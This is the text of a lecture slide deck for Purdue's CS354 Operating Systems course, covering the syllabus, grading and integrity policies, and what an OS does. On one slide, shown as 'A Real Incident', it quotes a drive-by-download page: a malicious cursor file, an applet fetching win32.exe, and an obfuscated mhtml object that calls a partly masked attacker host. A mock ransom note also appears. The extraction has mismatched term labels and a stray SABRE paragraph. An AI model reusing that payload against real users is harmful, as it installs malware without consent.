28
1 CS354: Operating Systems Spring 2016 Dongyan Xu Department of Computer Science Purdue University

CS354: Operating Systems Fall 2014

Embed Size (px)

DESCRIPTION

CS354: Operating Systems Fall 2014. Dongyan Xu Department of Computer Science Purdue University. General Information. Web Page: http://www.cs.purdue.edu/homes/cs354 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform: Xinu on Linksys router - PowerPoint PPT Presentation

Citation preview

Page 1: CS354: Operating Systems Fall 2014

1

CS354: Operating SystemsSpring 2016

Dongyan XuDepartment of Computer Science

Purdue University

Page 2: CS354: Operating Systems Fall 2014

2

General Information

• Web Page: http://www.cs.purdue.edu/homes/cs354

• Textbook:– Douglas Comer, Operating System Design, The

Xinu Approach (2nd Edition, 2015)• Lab platform:

– Xinu on BeagleBone Black (BBB)– An ARM processor

Page 3: CS354: Operating Systems Fall 2014

3

Staff

• Dongyan Xu (8th time teaching CS354)– Ph.D. University of Illinois at Urbana-Champaign– Full Prof. (2013-present), Assoc. Prof. (2007-13),

Assist. Prof. (2001-2007)– Research:

• Virtualization (VMware, Xen, KVM…)• Malware (rootkits, botnets, APTs…) defense• Cloud computing• Binary reverse engineering

• Office hours (WF 2:30pm-3:30pm,LWSN1173)

Page 4: CS354: Operating Systems Fall 2014

Staff

• Teaching Assistants– Xiangyu Bu– Sahithya Jagadish

• Office hours to be announced

4

Page 5: CS354: Operating Systems Fall 2014

5

On-line Discussion Venue: Piazza• Please join by accessing:

– https://piazza.com/purdue/spring2016/cs354• All announcements will be posted there• Discussion on labs• It is your responsibility to check for official

announcements, clarification of lab specification, and answers to lab-related questions.

• But grades will still be posted on Blackboard Learn– https://mycourses.purdue.edu

Page 6: CS354: Operating Systems Fall 2014

6

PSOs• There are no PSO sessions this week• The labs will be explained in PSOs.• Attendance is not mandatory (but encouraged)

Page 7: CS354: Operating Systems Fall 2014

7

Grading• Grade breakdown:

– Midterm: 22%– Final: 28%– Projects: 50%– In-class Quizzes: 3% bonus– No written homework

Page 8: CS354: Operating Systems Fall 2014

8

Late/Grading Policies

• Check Blackboard Learn for grade posting• Late policy for labs

– No late submission accepted, but you will have 3 non-emergency Bonus Days (penalty-free)

• Projects will be done individually– General discussion allowed– Must be on your own when coding starts

• Don’t copy the one you found online– I checked the code. It’s pretty bad– Will check your submissions against it

Page 9: CS354: Operating Systems Fall 2014

9

Re-Grading Policy

• You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading

• Re-grading requests for exams need to be in writing

• After the re-grading period, no re-grading request will be honored.

Page 10: CS354: Operating Systems Fall 2014

10

Academic Integrity Policy• Academic integrity: lifeline of education• Your projects, quizzes and exams must be your

own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get

– Zero for the project/quiz/exam at first offense– F grade for the course thereafter

• Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating

Page 11: CS354: Operating Systems Fall 2014

11

Lecture Format

• Help you understand important and hard OS concepts, design, and implementation

• Lectures do not cover everything– Not all questions in exams are from lectures– But many (80%?) of them are

• Your responsibility– Attend lectures– Read code, textbook, lecture notes – Labs, quizzes, exams– Periodically check web page– Read/participate in Piazza discussion

Page 12: CS354: Operating Systems Fall 2014

12

Course Organization1. OS overview2. Computer architecture overview3. Process scheduling and management4. Process synchronization 5. Memory management6. Interrupt processing7. Device drivers8. File system

Page 13: CS354: Operating Systems Fall 2014

Pre-requisite

• CS250 (Computer Architecture)• CS251 (Data Structures)• CS252 (Systems Programming)• CS240 (C Programming)• Or equivalent

13

Page 14: CS354: Operating Systems Fall 2014

14

Introduction

• A computer system consists of– Hardware– System programs– Application programs

1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first. 

Page 15: CS354: Operating Systems Fall 2014

Interfacing with Operating System

Page 16: CS354: Operating Systems Fall 2014

16

What is an Operating System (OS)• It is a system program that sits between

hardware and application programs.• The program starts running at boot time.• Who boots up the OS?

– BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed

Page 17: CS354: Operating Systems Fall 2014

17

What does an OS do? • “To serve and to protect”• It offers services that are common to all

applications:– Program execution, printing, windowing, file

access, resource allocation• It enables multitasking

– Allows multiple processes running at the same time

• It offers protection/security. – E.g., a user cannot see files of other users.

Page 18: CS354: Operating Systems Fall 2014

18

(Lack of) OS Security

• Malware– Botnets– Worms

• Why do they spread so quickly?

– Spyware, keylogger, identity theft, blackmail…

GREETINGS FROM GENERAL ENCRYPTION!

TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS

Page 19: CS354: Operating Systems Fall 2014

19

• Upon Clicking a malicious URL– http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html

22 unwanted programs installed without user’s consent!

MS04-013

MS03-011

MS05-002

<html><head><title></title></head><body>

<style>* {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")}</style>

<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1><PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET><script>

try{document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58&#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58;//C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+'m::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>');}catch(e){} </script>

</body></html>

A Real Incident

Page 20: CS354: Operating Systems Fall 2014

20

What does an operating system offer?– Reliability

• Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running.

– Fairness• access to resources has to be fair across users

with the same priority.– Support for multiple users

• It allows running multiple users in the same machine simultaneously.

Page 21: CS354: Operating Systems Fall 2014

21

The Operating System Zoo• Mainframe OS• Server OS• Multiprocessor OS• Personal computer OS• Real-time OS• Embedded OS• Smartphone OS• Browser OS• Cloud OS• OS for Oses (hypervisors)

Page 22: CS354: Operating Systems Fall 2014

22

Windows 10

Page 23: CS354: Operating Systems Fall 2014

Android and iOS

23

Page 24: CS354: Operating Systems Fall 2014

24

Android Platformhttp://code.google.com/android/

• The first complete, open, and free mobile platform

Page 25: CS354: Operating Systems Fall 2014

Wireless Sensor Nodes

25

Page 26: CS354: Operating Systems Fall 2014

Blue Gene/L Supercomputer

26

Page 27: CS354: Operating Systems Fall 2014

27

Blue Gene/L OS

Page 28: CS354: Operating Systems Fall 2014

28

Summary• Course overview• Policy and requirement• What is OS?

• Coming up next: – Review of computer architecture and program

structure